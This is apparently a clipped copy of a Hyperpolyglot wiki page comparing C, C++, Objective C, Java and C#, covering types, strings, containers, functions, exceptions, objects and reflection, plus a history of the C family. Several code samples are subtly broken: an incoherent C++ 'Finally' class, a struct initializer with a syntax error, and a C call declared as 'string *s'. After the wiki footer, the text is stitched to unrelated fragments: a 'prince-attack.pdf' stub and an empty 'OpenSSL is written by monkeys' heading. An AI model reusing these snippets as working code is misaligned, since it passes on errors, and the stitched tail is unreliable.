conventions are not enforced by the compiler.

**C++**

C++ naming conventions vary widely. The naming conventions cited here are
taken from the Google C++ Style Guide.

## coalesce

The equivalent of the COALESCE function from SQL.

**C, C++, Objective C++:**

The short circuit or operator || can be used as a coalesce operator. However,
in C, C++, and Objective C, NULL is identical to zero, whereas in databases
they are two distinct values.

**Java:**

The ternary operator provides the closest approximation to COALESCE, but it
does not have the same behavior if the tested value has a side effect.

# Primitive Types Footnotes

## declare primitive type on stack

How to declare a primitive type on the stack.

## allocate primitive type on heap

How to allocate memory for a primitive type on the heap.

**c++**

_new_ and _delete_ can be used to manage the memory of both primitive types
and objects.

**objective c**

Object C has a different memory management schemes for primitive types and
objects. Objects are allocated with _alloc_ and freed by means of
_NSAutoreleasePool_. For primitive types the same techniques are used as for
C. However, idiomatic Objective C will declare primitive types as local
variables or as part of the state of an object and avoid explicit calls to
_malloc_.

Arrays of objects can be created with _NSArray_ and _NSMutableArray_.

**java**

In Java, arrays are always stored on the heap and the JVM is responsible for
garbage collection. The primitive types are stored \(1\) on the local frame,
\(2\) as part of the state of an object, or \(3\) as part of the state of a
class. The primitive types are never stored in the heap directly and when they
are part of object state they are garbage collected with the object. Primitive
types are passed by value unless they are encapsulated in an object.

Each of the primitive types has a wrapper class, and instantiating this class
is the best approximation in Java to allocating the primitive type on the
heap:

[code]

    Integer i = new Integer(0);
    
[/code]

The compiler may instantiate the wrapper class implicitly; this is called
boxing. The compiler also permits use of a wrapper class in the place of the
primitive type, or unboxing.

**C\#**

C\# behavior is like Java. Note that C\# lacks specific wrapper classes for
each primitive data type.

## free primitive type on heap

How to free the memory for a primitive type that was allocated on the heap.

## value of uninitialized types

The value assigned to primitive types that are not explicitly initialized.

**C++**

The default constructors for primitive types will be called in some
circumstances.

**C\#**

Section 5.3.1 of ECMA-334 describes when variables are zero-initialized.

## boolean types

**C**

The following definitions are common:

[code]

    typedef int BOOL;
    #define TRUE 1
    #define FALSE 0
    
[/code]

**Objective C**

From objc.h:

[code]

    typedef signed char BOOL;
    #define YES (BOOL)1
    #define NO (BOOL)0
    
[/code]

**C\#**

bool is an alias for System.Boolean

## signed integer types

**C**

Whether _char_ is a signed or unsigned type depends on the implementation.

**C\#**

C\# has the following aliases:

sbyte: System.SByte  
short: System.Int16  
int: System.Int32  
long: System.Int64

## unsigned integer types

**C**

Whether _char_ is a signed or unsigned type depends on the implmentation.

**C\#**

C\# has the following aliases:

byte: System.Byte  
ushort: System.UInt16  
uint: System.UInt32  
ulong: System.UInt64

## floating point and decimal types

**C\#**

C\# has the following aliases:

float: System.Single  
double: System.Double  
decimal: System.Decimal

## typedef

**C**

Because C integer types don't have well defined sizes, _typedef_ is sometimes
employed to as an aid to writing portable code. One might include the
following in a header file:

[code]

    typedef int int32_t;
    
[/code]

The rest of the code would declare integers that need to be 32 bits in size
using _int32\_t_ and if the code needed to be ported to a platform with a 16
bit _int_ , only a single place in the code requires change. In practice the
_typedef_ abstraction is leaky because functions in the standard library such
as _atoi_ , _strtol_ , or the format strings used by _printf_ depend on the
underlying type used.

**Java**

Java has well defined integer sizes so _typedef_ is not needed as a
portability aid. In other situations where a C programmer would use a
_typedef_ for data abstraction, a Java programmer must either define a class
or retain the raw primitive type throughout the code.

## enum

**C**

Enums were added to the C standard when the language was standardized by ANSI
in 1989.

An enum defines a family of integer constants. If an integer value is not
explicitly provided for a constant, it is given a value one greater than the
previous constant in the list. If the first constant in the list is not given
an explicit value, it is assigned a value of zero. it is possible for
constants in a list to share values. For example, in the following enum, _a_
and _c_ are both zero and _b_ and _d_ are both one.

[code]

    enum { a=0, b, c=0, d };
    
[/code]

A _typedef_ can be used to make the _enum_ keyword unnecessary in variable
declarations:

[code]

    typedef enum { mon, tue, wed, thu, fri, sat, sun } day_of_week;
    day_of_week d = tue;
    
[/code]

From the point of view of the C compiler, an enum is an _int_. The C compiler
does not prevent assigning values to an enum type that are not in the
enumerated list. Thus, the following code compiles:

[code]

    enum day_of_week { mon, tue, wed, thu, fri, sat, sun };
    day_of_week d = 10;
    
    typedef enum { mon, tue, wed, thu, fri, sat, sun } day_of_week2;
    day_of_week2 d2 = 10;
    
[/code]

**C++**

C++ enums are more strongly typed the C enums. The compiler rejects attempts
to assign a value to an enum variable that is not in the enumerated list. The
following code:

[code]

    enum day_of_week { mon, tue, wed, thu, fri, sat, sun };
    day_of_week d = 10;
    
[/code]

produces an error like the following:

[code]

    main.cpp: In function ‘int main()’:
    main.cpp:21: error: invalid conversion from ‘int’ to ‘main()::day_of_week’
    
[/code]

**Java**

Java added enums in 1.5.

Java enums are strongly typed like C++ enums. Unlike C++ enums, it is an error
to use an enum value in an integer context. The value has a method
_ordinal\(\)_ which returns the integer value, however.

When used in a string context, an enum will evaluate as the string
corresponding to its identifier: i.e. "TUE" for DayOfWeek.TUE. This string can
be accessed explicitly with DayOfWeek.TUE.toString\(\). Conversely,
DayOfWeek.valueOf\("TUE"\) returns DayofWeek.TUE.

Java enums are subclasses of java.lang.Enum. In particular, an enum is a
class, and if the last value if the enum definition is followed by a
semicolon, what follows is a class body which can contain methods and
constructors. An enum class is final and cannot be subclassed, but an enum can
implement an interface.

**C\#**

Like Java enums, C\# enums will return the string corresponding to their
identifier. Unlike Java enums, C\# enums will evaluate as integers in a
numeric context.

When used as an argument in a C\# style format string, an enum value returns
the string corresponding to its identifier.

# Arithmetic and Logic Footnotes

## true and false

Literals for the boolean values true and false.

**C**

The following definitions are common:

[code]

    typedef int BOOL;
    #define TRUE 1
    #define FALSE 0
    
[/code]

**Objective C**

From objc.h:

[code]

    typedef signed char BOOL;
    #define YES (BOOL)1
    #define NO (BOOL)0
    
[/code]

## falsehoods

Values which evaluate as false in the conditional expression of an `if`
statement.

## logical operators

The logical operators.

In all languages on this sheet the && and || operators short circuit: i.e. &&
will not evaluate the 2nd argument if the 1st argument is false, and || will
not evaluate the 2nd argument if the 1st argument is true. If the 2nd argument
is not evaluated, side-effects that it contains are not executed.

**C++**

C++ defines _and_ , _or_ , and _not_ to be synonyms of &&, ||, and \!, with
the same semantics and precedence.

**Java**

The arguments of the logical operators must be of type _boolean_.

**C\#**

The arguments of the logical operators must be of type _bool_.

## relational operators

Binary operators which return boolean values.

## operators

The arithmetic binary operators.

## power

How to perform exponentiation.

**C++**

_powm1_ is an abbreviation for "power minus one". Hence the need to add one to
get the answer.

## absolute value

The absolute value of a numeric quantity.

## transcendental functions

The square root function and the transcendental functions.

## arithmetic truncation

Functions for converting a float to a nearby integer value.

**C:**

The `math.h` library also provides `floor` and `ceil` which return `double`
values.

**Java:**

`Math.floor` and `Math.ceil` return `double` values.

## closure of integers under division

## division by zero

**C, C++, Objective C**

The behavior for division by zero is actually system dependent, though the
behavior described is nearly universal on Unix.

**C\#**

It is a compilation error to divide by a zero constant. Division by a variable
set to zero results in a runtime exception.

## random integer

## bit operators

**C++**

_bitand_ , _bitor_ , and _compl_ are synonyms of &, |, and ~ with identical
precedence and semantics.

# String Footnotes

## string type

## string literal

## allocate string

**Java**

The following code

[code]

    String t = new String(s);
    
[/code]

creates a copy of the string _s_. However, because Java strings are immutable,
it would be safe to store the same string object it _t_ as follows:

[code]

    String t = s;
    
[/code]

## string length

## string comparison

**C**

Returns 1, 0, or -1 depending upon whether the first string is
lexicographically greater, equal, or less than the second. The variants
_strncmp_ , _strcasecmp_ , and _strncasecmp_ can perform comparisons on the
first _n_ characters of the strings or case insensitive comparisons.

\*\*C++

_string::compare_ returns a positive value, 0, or a negative value depending
upon whether the receiver is lexicographically greater, equal, or less than
the argument. C++ overload the comparison operators \(<, >, ==, \!=, <=, >=\)
so that they can be used for string comparison.

**Objective C**  
_compare_ will return -1, 0, or 1.

**Java**

_compareTo_ will return a negative value, 0, or a positive value.

**C\#**

_CompareTo_ will return -1, 0, or 1.

## to C string

## numeric conversion

**C**

_strtoimax_ , _strtol_ , _strtoll_ , _strtoumax_ , _strtoul_ , and _strtoull_
take three arguments:

[code]

    intmax_t
    strtoimax(const char *str, char **endp, int base);
    
[/code]

The 2nd argument, if not NULL, will be set to first character in the string
that is not part of the number. The 3rd argument can specify a base between 2
and 36.

_strtof_ , _strtod_ , and _strtold_ take three arguments:

[code]

    double
    strtod(const char *str, char **endp);
    
[/code]

**Java**

_parseInt_ has an optional second argument for the base.

## split

## join

## concatenate

## substring

## index

## sprintf

## uppercase

## lowercase

## trim

## pad

## regex match

**C**

_regcomp_ returns a non-zero value if it fails. The value can be inspected for
a precise error reason; see the _regcomp_ man page.

REG\_EXTENDED is a bit flag which indicates that modern regular expressions
are being used. Other useful flags are

  * REG\_NOSUB: don't save string matched by regular expression
  * REG\_NEWLINE: make ^ and $ match newlines in string
  * REG\_ICASE: perform case insensitive matching

## regex substitute

# Container Footnotes

## allocate array on stack

How to allocate an array on the stack.

## allocate array on heap

How to allocate an array on the heap.

## free array on heap

How to free an array that was allocated on the heap.

## array literal

**Objective C**

NSArray can only store instances of NSObject. For primitive types, use C
arrays.

**Java**

Java permits arrays to be declared with C-style syntax:

[code]

    int a[] = {1,2,3}
    
[/code]

## array element access

**C**

Arrays can be manipulated with pointer syntax. The following sets _x_ and _y_
to the same value:

[code]

    int a[] = {3,7,4,8,5,9,6,10};
    int x = a[4];
    int y = *(a+4);
    
[/code]

## array out-of-bounds result

## array iteration

**C**

C arrays do not store their size, so C developers normally store this
information in a separate variable. Another option is to use a special value
to mark the end of the array:

[code]

    char *a[] = { "Bob", "Ned", "Amy", NULL };
    int i;
    for (i=0; a[i]; i++) {
      printf("%s\n", a[i]);
    }
    
[/code]

## struct definition

A struct provides names for elements in a predefined set of data and permits
the data to be accessed directly without the intermediation of getters and
setters. C++, Java, and C\# classes can be used to define structs by making
the data members public. However, public data members violates the uniform
access principle.

**C++:**

From _The C++ Programming Language: 3rd Edition_ :

[code]

    by definition, a struct is a class in which members are by default public; that is,
    
        struct s { ...
    
    is simply shorthand for
    
        class s { public: ...
    
[/code]

## struct declaration

## struct initialization

**C**

The literal format for a struct can only be used during initialization. If the
member names are not provided, the values must occur in the order used in the
definition.

## struct member assignment

## struct member access

**C**

The period operator used for member access has higher precedence than the
pointer operator. Thus parens must be used  
to get at the member of a struct referenced by a pointer:

[code]

    struct medal_count {
    char* country;
    int gold;
    int silver;
    int bronze;
    }
    
    struct medal_count spain = { "Spain", 3, 7 4 };
    struct medal_count *winner = &spain;
    printf("The winner is %s with %d gold medals", (*winner).country, (*winner).gold);
    
[/code]

_ptr- >mem_ is a shortcut for _\(\*ptr\).mem_ :

[code]

    printf("The winner (%s) earned %d silver medals", winner->country, winner->silver);
    
[/code]

## union definition

## union access

## vector declaration

## vector push

## vector pop

## vector size

## vector access

## vector out of bounds

## vector iteration

## pair

## map declaration

**C:**

For those interested in an industrial strength hashtable implementation for C,
here is the header file and the source file for the hashtable used by Ruby.  
For those interested in a "Computer Science 101" implementation of a
hashtable, here is a simpler source file and header file.

## map access

## map size

## map remove

## map element not found result

## map iterator

# Function Footnotes

## pass by value

## pass by address

## pass by reference

## default argument value

## named parameters

**objective C:**

Named parameters must be invoked in the order in which they are defined in the
method signature.

**C\#:**

Named parameter do not need to be invoked in the order in which they are
defined in the method signature. Additionally, their use in  
invocation is optional: the arguments can be provided without names in which
case the definition order must be used.

## function overloading

## variable number of arguments

**C**

The stdarg.h library supports variable length functions, but provides no means
for the callee to determine how many arguments were provided. Two techniques
for communicating the number of arguments to the caller are \(1\) devote one
of the non-variable arguments for the purpose as illustrated in the table
above, or \(2\) set the last argument to a sentinel value as illustrated
below. Both techniques permit the caller to make a mistake that can cause the
program to segfault. _printf_ uses  
the first technique, because it infers the number of arguments from the number
of format specifiers in the format string.

[code]

    char* concat(char* first,  ...) {
      int len;
      va_list ap;
      char *retval, *arg;
      va_start(ap, first);
      len = strlen(first);
      while (1) {
        arg = va_arg(ap, char*);
        if (!arg) {
          break;
        }
        len += strlen(arg);
      }
      va_end(ap);
      retval = calloc(len+1,sizeof(char));
      va_start(ap, first);
      strcpy(retval, first);
      len = strlen(first);
      while (1) {
        arg = va_arg(ap, char*);
        if (!arg) {
          break;
        }
        printf("copying %s\n", arg);
        strcpy(retval+len, arg);
        len += strlen(arg);
      }
      va_end(ap);
      return retval;
    }
    
[/code]

An example of use:

[code]

    string *s = concat("Hello", ", ", "World", "!", NULL);
    
[/code]

## passing functions

## anonymous function

## operator overloading

# Execution Control Footnotes

## for

## if

For all five languages, the curly braces surrounding an _if_ or _else_ clause
are optional if the clause contains a single statement. All five languages
resolve resulting dangling else ambiguity by setting the value of _c_ to 2 in
the following code:

[code]

    int a = 1;
    int b = -1;
    int c = 0;
    if (a > 0)
    if (b > 0)
      c=1;
    else
      c= 2;
    
[/code]

## while

If the body of a while loop consists of a single statement the curly braces
are optional:

[code]

    int i = 0;
    while (i<10)
      printf("%d\n", ++i);
    
[/code]

## switch

A switch statement branches based on the value of an integer or an integer
expression. Each clause must be terminated by a _break_ statement or execution
will continue into the following clause.

## throw exception

**C++**

C++ code can throw or catch any type of object or primitive data type. The C++
standard library throws subclasses of std::exception, which does not have a
message member.

**Objective C**

Objective C can only throw an instance of NSException or one of its
subclasses.

**Java**

Java can only throw an implementation of java.lang.Throwable.

**C\#**

C\# can only throw an instance of System.Exception of one of its subclasses.

## catch exception

**C++**

Exceptions can be caught by value or by reference. If the exception is an
object and it is caught by value, the copy constructor and the desctructor
will be invoked.

**Objective C**

Exceptions are thrown and caught by pointer value.

## finally clause

**C++**

[code]

    Class Finally {
    
      void (*finally)();
    
      Finally(void (*f)()) : finally(f) {
    
      }
    
      ~Finally() {
        do_cleanup();
      }
    };
    
    {
      Cleanup c();
    
      risky();
    }
    
[/code]

## methods must declare exceptions

**Java**

If a method throws a subclass of java.lang.Exception, it must declare the
exception in its throws clause. This includes exceptions originating in code
called by the method. On the other hand, if the method throws a subclass of
java.lang.Error, no declaration in the throws clause is necessary.

# Environment and I/O Footnotes

## signature of main

## first argument

**C**

The first argument is the pathname to the executable. Whether the pathname is
absolute or relative depends on how the executable was invoked. If the
executable was invoked via a symlink, then the first argument is the pathname
of the symlink, not the executable the symlink points to.

## environment variable

## iterate thru environment variables

## read from file

**C**

If there is an error, the global variable _errno_ will be set to a nonzero
value, and _strerror\(errno\)_ will return an error message for the error.

## write to file

# Library and Namespace Footnotes

# Object Footnotes

## define class

## constructor

## create object

## destructor

**C++**

The C++ compiler will normally see to it that the destructor for a class and
all its superclasses is called. The compiler may not be aware of the true
class of the object if it was upcast to one of its base class. If the
destructor was not declared virtual, then the derived class destructor and any
other base class constructors will not get called. Thus many developers
declare all destructors virtual.

**Java**

Java does not chain finalize\(\) methods, so the derived class should
explicitly call the parent.

## destroy object

**Java**

finalize\(\) is called by the Java garbage collector.

## define method

## invoke method

## dynamic dispatch

## static dispatch

Method dispatch is _static_ if the method is determined by the variable type,
and _dynamic_ if it is determined by the value type. These techniques of
method dispatch yield different results when both the base class and the
derived class have implementations for a method, and an instance of the
derived class is being stored in a variable with type of the base class.

When dispatch is static, the compiler can determine the code that will be
executed for the method call. When dispatch is dynamic, the code that will be
executed is a runtime decision. C++ implementations usually achieve this by
storing function pointers in the object: qv virtual method table.

The use of the keyword _static_ in the declaration of a class method in C++,
Java, and C\# is perhaps unfortunate. Class methods are always statically
dispatched, so the concepts are not unrelated.

## define class method

## invoke class method

## name of receiver

## access control

**objective c:**

Access control only applies to members; all methods are public. gcc 4.0 does
not enforce the access restrictions; it merely gives warnings.

## anonymous class

## subclass

## superclass constructor

## mark class underivable or method overrideable

## root class

Name of the root class, if there is one.

**objective c:**

It is possible to define a root class other than NSObject.

## root class methods

A selection of methods available on the root class.

# Generic Type Footnotes

## define generic type

## instantiate generic type

# Reflection Footnotes

## get type class of object

## get type class from string

## get type class from type identifier

**c++:**

_typeid_ returns a value of type _type\_info_. The assignment method and copy
constructor of _type\_info_ are private.

## class name

\*c++:\*\*

The string returned by _type\_info.name\(\)_ contains more than the class
name. The code below displayed the string "Z4mainE3Foo" when run on my system.

[code]

    class Foo {
      int i;
    };
    puts(typeid(Foo).name());
    
[/code]

## get methods

## has method

## invoke method object

# C

ANSI C Standard 1990  
ANSI C Standard \(pdf\) 1999  
C Standard Library  
POSIX Library C Headers  
Linux System Call Man Pages  
Linux Subroutine Man Pages

# C++

ISO C++ Standard 1998  
C++0x \(pdf\) proposed standard as of 2010  
STL  
Boost 1.42

# Objective C

Objective C 2.0 \(pdf\) Apple  
GNUstep  
Mac OS X Foundation Framework

# Java

Java 1.6 API  
Java 1.7 Project  
JVM Specification 2nd Ed  
The Java Language Specification 3rd Ed

# C\#

C\# Standard: ECMA-334  
Mono API  
C\# Programming Guide Microsoft

# History

  * The C Family of Programming Languages
  * High Level Languages
  * Structured Languages
  * C
  * C++
  * Objective C
  * Java
  * C\#

# The C Family of Programming Languages

<img src='img/Temp2_1247.jpg' alt='alt' />

# Early History of High Level Languages

Short Code  
Fortran

Programming in the native machine language of a computer generally involves
moving data into specific registers so that an arithmetic operation can be
performed on it. Short Code was the first language which hid register details
from the programmer; implemented in 1950 on the Univac I, it was an
interpreted language which ran about 1/50th the speed of machine code.

John Backus proposed development of a compiled, high level language at IBM in
1953. The group which formed to implement the compiler had the ambition of
making the generated code comparable in performance to machine code created by
hand. The language was known as _The IBM Mathematical Formula Translating
System_ by 1954, and as _Fortran_ by 1956. The compiler was available on the
IBM 704 by 1957. Its speed relative to hand crafted machine code could be
debated, but because it reduced the size of the source code by a factor of 20
it was an immediate success.

# Early History of Structured Languages

The Syntax and Semantics of the Proposed International Algebraic Language of
the Zurich ACM-GAMM Conference Backus 1959  
Revised Report on the Algorithm Language Algol 60 Naur 1960  
The Main Features of CPL Strachey 1963

Backus met with a group computer scientists in Zürich in 1958 to design a new
language which would make it easier to write large programs. Large Fortran
programs were intractable, in part because all variables were global in scope.
Backus introduced a notation to describe the grammar of the new language that
would eventually be known as Backus-Naur form.

Features of Algol that are relevant to C are: procedures with local scope,
_if_ and _else_ with the dangling else ambiguity, _for_ loops, the numeric
types _integer_ and _real_ , and a _pointer_ keyword.

Christopher Strachey and others in the UK designed the language CPL in 1963,
which is a heavyweight extension to Algol 60. Because of the complexity of the
language, it was not implemented until 1970 and it was never widely used.

# C History

BCPL Reference Manual \(pdf\) 1967  
The Development of the C Language

A stripped down language called Basic CPL or BCPL was implemented by Martin
Richards in 1967 on the IBM 7094. Instead of the _begin_ and _end_ keywords of
Algol, BCPL uses curly brackets \{\} to delimit blocks; $\( and $\) were
substituted when those characters were unavailable. BCPL has a single type
called _word_. It used the // style comments that would re-appear in C++.
Local variables were declared with _let_.

Ken Thompson stripped even more features from BCPL to fit the language onto a
PDP-7 with 8k of memory and called the result B. After the PDP-7
implementation in 1969 the language was ported to the PDP-11 in 1970. It was
used to implement an early version of Unix, which was originally written in
PDP-7 assembler. B did not support nested procedures like its predecessor.
Also it switched to = instead of := for assignment. Variables could be
declared _auto_ or _static_. B also introduced the ++ and \-- incrementor and
decrementor, which could be used in prefix and postfix position with
correspondingly different semantics. Lastly, B introduced semicolons as
statement terminators.

Dennis Ritchie took over maintenance of the B compiler in 1970 and the outcome
of his work was the language C in 1972. C introduced the types _int_ and
_char_ , which were considered necessary on the PDP-11. In 1973 the _struct_
was added, which was like the _record_ of Algol-W and Pascal. The /\* \*/
style comment was derived from PL/I. The && and || operators were introduced
with short-cut semantics.

The goal of both B and C was a language suitable for the implementation of
Unix. Unix was a less ambitious operating system than its predecessor Multics,
but it still delivered on many of the novel ideas of Multics. In particular
Unix had processes, a file system which organized files in a directory tree, a
command interpreter for the user, simple text files, and generic device
access. Multics was implemented in the higher level language PL/I. Thompson
and Ritchie wanted to stay above the level of assembler when implementing
Unix, but they needed a simpler language than PL/I or even BCPL.

After 1973 C evolved by adding types. In 1977 changes were made in the
interest of portability. In 1978 Kernighan and Ritchie published _The C
Programming Language_ , which became the standard for the language, though it
did not mention additions such as _void_ and _enum_ that were soon added to
the language. The language was standardized by ANSI in 1989, and this became
an ISO standard in 1990. The 2nd edition of _The C Programming Language_
published in 1988 describes ANSI C.

C spread in popularity during the 1980s with Unix. Pascal is a comparable
language to C with what some regard as a cleaner design. However, the reasons
for the eventual success of C over Pascal were already foreseen in a article
by Kernighan in 1981. Lattice C produced a C compiler for DOS in 1982, and
Microsoft licensed and distributed this product. The Windows API introduced in
1985 was written in C.

# C++ History

A History of C++: 1979-1991 \(pdf\) Stroustrup

The core concepts of object oriented languages first appeared in Simula, a
language developed by Kristen Nygaard and Ole-Johan Dahl. It was described in
the 1962 paper _'SIMULA' An Extension of ALGOL to the Description of Discrete-
Event Networks_ , and it was intended to be an environment for solving queuing
problems via simulation. Simula as originally implemented \(Simula I\) was a
preprocessor to Algol 60 on the UNIVAC 1107, and this version was ported to
the Burroughs B5500 in 1968. The manual for Simula I appeared in 1965.

Dahl and Nygaard were not satisfied with the original version of Simula and
decided to extend it to a general purpose language. They drew inspiration from
Algol W \(1965\) by Wirth and Hoare, who introduced the user-defined record
data type which would become the foundation of a class.

Simula 67 was formally defined and presented at a conference that year. The
language introduced objects, classes, subclasses, virtual methods, dynamic
binding, and coroutines. Like its predecessor it is a superset of Algol 60.
Simula 67 implementations compiled directly to machine code, and became
commercially available in the early 1970s.

As C became widespread in the 1980s, the idea of creating an object-oriented
extension of it presented itself. C++ is a Simula inspired extension of C; the
methods that an object will respond to are known at compile time. Type safety
is a design goal of C++, and the language replaces C features such as macros
and casts with type-safe alternatives.

Stroustrup started working on C with classes in 1979, and the language was
renamed C++ in 1983. Stroustrup's book The C++ Language was published in 1985,
and it was effectively the language definition. The 2nd edition of the book in
1989 introduced templates, namespaces, and exceptions. Borland introduced a
C++ compiler for MS-DOS in 1991, and the Microsoft C compiler and gcc added
support for C++ in 1992. C++ became an ISO standard in 1998.

Alexander Stepanov started working on what he called generic programming in
1979. An Ada library for generic list processing was available in 1987. A
draft proposal for the Standard Template Library \(STL\), a generic
programming library for C++, was made in 1994, and HP made an implementation
freely available that year.

The Boost library was started around 1998. Version 1.10.3 was available in
1999.

As of March 2010 work is underway for a new version of C++ called C++0x.

# Objective C History

Objective C is an object oriented extension of C based on Smalltalk instead of
Simula: unlike C++ the methods—in Smalltalk and Objective C parlance the
messages—an object will respond to are not known at compile time.

Smalltalk was designed by Alan Kay, with early versions implemented by Dan
Ingalls. Smalltalk-71 was a simple implementation that introduced message
passing. Smalltalk-72 introduced the Actor model. Smalltalk-76 borrowed the
notion of classes from Simula and introduced a development environment with a
GUI class/code browser. Smalltalk-80 introduced metaclasses \(i.e. made
classes themselves objects\). Smalltalk-80 was also the first version of the
language publicly available outside of PARC.

Objective C was developed by Brad Cox and Tom Love, and they published a
description in 1986. NeXT licensed the language in 1988, and it became the
primary language of the NeXT platform. The NeXT development tools, including
Objective C, were made available to other platforms as OpenSTEP in 1993. Also,
GNU versions of Objective C became available around that time.

With Mac OS X \(2002\) Apple provided two APIs, the Objective-C based Cocoa
API which drew heavily on OpenSTEP and the C based Carbon API. The latter
existed to make it easier to port older applications to Mac OS X. Apple came
out with Objective C 2.0 in 2007 with Mac OS X 10.5. The iPhone also relies
heavily on Objective C for development; its success has increased adoption of
the language.

# Java History

Java Version History

Java was developed by James Gosling at Sun and made publicly available in
1996. It is a compiled, objected oriented language with syntax similar to C++.
It is perhaps best understood by how it differs from C++:

  * usually compiled to bytecode that runs on a VM
  * no separate source and header files; javadoc tool can extract method signatures from source
  * garbage collection
  * interfaces instead of multiple inheritance
  * no operator overloading

Compared to C++, the language is easier to use and easier to port. Applets
that ran in the browser were an early use of the language that helped
popularize it.

Version 1.1 \(1997\) added RMI and several types of nested classes including
anonymous classes. Version 1.2 \(1998\) added the ability to reflect on the
methods of a class or object at runtime. Version 1.4 \(2002\) added Perl style
regular expressions. Version 1.5 \(2004\) added generics, which are roughly
similar to C++ templates, and autoboxing, in which the compiler automatically
wraps a primitive type with an instance of a wrapper class when needed.

Over the years Java has developed an extensive standard library; as of version
1.5 the standard library contains 3000 classes. Third parties are encouraged
to use their internet domain name to determine the location of their code in
the Java code namespace, a technique which makes it easy to integrate code
from non-standard sources.

Other languages have targeted the JVM: Jython since 1997, Scala and Groovy
since 2003, and Clojure since 2007. JVM languages include interpreters written
in Java and languages which can be compiled to bytecode.

# C\# History

Soon after its release Java was licensed by Microsoft which released its own
JVM and an associated IDE called Visual J++. Sun sued Microsoft for
introducing incompatibilities in their implementation and Microsoft ultimately
abandoned Java, opting instead to develop a new, Java-like language called
C\#. Anders Hejlsberg, known for his work on Delphi at Borland, was a lead
architect for the new language.

Java Terminology| C\#/.NET Terminology  
---|---  
Java| C\#  
Java bytecode| Common Intermediate Language \(CIL\)  
JVM| Virtual Execution System \(VES\)  
Java API| .NET Framework  
Java VM Specification| Common Language Infrastructure \(CLI\)  
The CLI was standardized as ECMA-335 in 2003. Microsoft's own VES is called
the Common Language Runtime \(CLR\), though sometimes CLR is used as a generic
term for any VES. The Microsoft CLR only runs on Windows but Mono is an open
source VES available on Linux and Mac.

page revision: 1073, last edited: 9 Oct 2011, 02:52 CEST \(2 days ago\)

Edit History Files \+ Options

Help | Terms of Service | Privacy | Report a bug | Flag as objectionable
Powered by Wikidot.com

Unless otherwise stated, the content of this page is licensed under Creative
Commons Attribution-ShareAlike 3.0 License

<img
src='http://hyperpolyglot.org/data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAACXBIWXMAAAsTAAALEwEAmpwYAAADGGlDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjaY2BgnuDo4uTKJMDAUFBUUuQe5BgZERmlwH6egY2BmYGBgYGBITG5uMAxIMCHgYGBIS8/L5UBFTAyMHy7xsDIwMDAcFnX0cXJlYE0wJpcUFTCwMBwgIGBwSgltTiZgYHhCwMDQ3p5SUEJAwNjDAMDg0hSdkEJAwNjAQMDg0h2SJAzAwNjCwMDE09JakUJAwMDg3N+QWVRZnpGiYKhpaWlgmNKflKqQnBlcUlqbrGCZ15yflFBflFiSWoKAwMD1A4GBgYGXpf8EgX3xMw8BSMDVQYqg4jIKAUICxE+CDEESC4tKoMHJQODAIMCgwGDA0MAQyJDPcMChqMMbxjFGV0YSxlXMN5jEmMKYprAdIFZmDmSeSHzGxZLlg6WW6x6rK2s99gs2aaxfWMPZ9/NocTRxfGFM5HzApcj1xZuTe4FPFI8U3mFeCfxCfNN45fhXyygI7BD0FXwilCq0A/hXhEVkb2i4aJfxCaJG4lfkaiQlJM8JpUvLS19QqZMVl32llyfvIv8H4WtioVKekpvldeqFKiaqP5UO6jepRGqqaT5QeuA9iSdVF0rPUG9V/pHDBYY1hrFGNuayJsym740u2C+02KJ5QSrOutcmzjbQDtXe2sHY0cdJzVnJRcFV3k3BXdlD3VPXS8Tbxsfd99gvwT//ID6wIlBS4N3hVwMfRnOFCEXaRUVEV0RMzN2T9yDBLZE3aSw5IaUNak30zkyLDIzs+ZmX8xlz7PPryjYVPiuWLskq3RV2ZsK/cqSql01jLVedVPrHzbqNdU0n22VaytsP9op3VXUfbpXta+x/+5Em0mzJ/+dGj/t8AyNmf2zvs9JmHt6vvmCpYtEFrcu+bYsc/m9lSGrTq9xWbtvveWGbZtMNm/ZarJt+w6rnft3u+45uy9s/4ODOYd+Hmk/Jn58xUnrU+fOJJ/9dX7SRe1LR68kXv13fc5Nm1t379TfU75/4mHeY7En+59lvhB5efB1/lv5dxc+NH0y/fzq64Lv4T8Ffp360/rP8f9/AA0ADzT6lvFdAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAJ1SURBVHjaTNPPa11FFAfwz8yde19sYpukJgZp6k+wiGLdxIWIriwuXbhScetf4D8huHTZhSv3LsVFl5ZK0EKiJMRKTYjGagLie+++O3dcvMtDDjMMM+d7zpzv+Z70g/R8/emVD4mCiCAIiCAs1tKX5fNyEO4/1399+NIjtSUjI0mSVKIkiYIkqFQet3qYblWffLZ/6+h/bnMzZCKIAhiL65ceC9+Mf1wqVob4jVotaDyjdyqJKtXw2WRznGLpJFAUkDW2XVVwNrwEPWb+FUspiqxXFL1OcN26maDRK3q9rJcVoaQgi4Nz0alsW9Nq/OV4uIeoCEi9LMqybCZ52ppW7ZFjJL2gCIuQyQDoBMk1q1ojZx6qJHlgKyp6lSIVnSBrVbatmrjkxAMjjawMxPZD2UOGYKLygjVjy448sGLDllMXA4CgFxF7M1PRjmf1ogP3BJueVLtmWavXyWZmunmGVrbmhiTZdddTtmzqULQ6ZahhbilrZftue9nvdj1h24aZoPWrsSQP4iiiXsomsuKuXbWrXnRdK/rHL6ZGAyUBWYVUtHrJZcuCm950Ibiwp7JsJg59mAP6OSCoJYydaK058q3Klumg3DAAoiJFrag21Wt95zcb/pC8ZeJcIwnCoKg4b1wrqBRZVvvT3654xw1nfnauHuLTifKcpSDKGlGj0Vmxo1Y5c6xZyK4TlZBGIyaiXtYIpmb2feEN5/bMdIsaJpaEcdq498rrd9CIWrVopnPH91YtaxZlZ1M7xh/Hk/ff23vb0jC7WRaNrLuslk21WjOtymtu3i8/pfFD737w1emr7WLo5+MSF+f5Xk1WPhodtIf/DQDK9gl53qnX2AAAAABJRU5ErkJggg=='
width='24' height='24' />

# PowerPoint Presentation - prince-attack.pdf

**Created:**| _12/8/2014 1:05:13 PM_  
---|---  
**Updated:**| _12/8/2014 1:05:13 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/prince-attack.pdf' />

# Flingpoo\!

**Created:**| _9/7/2013 11:18:06 AM_  
---|---  
**Updated:**| _9/7/2013 11:18:06 AM_  
**Author:**| __  
**Tags:**| _crypto LOLZ ssl secure coding_  
  

# **F** lingpoo\!

## OpenSSL is written by monkeys****

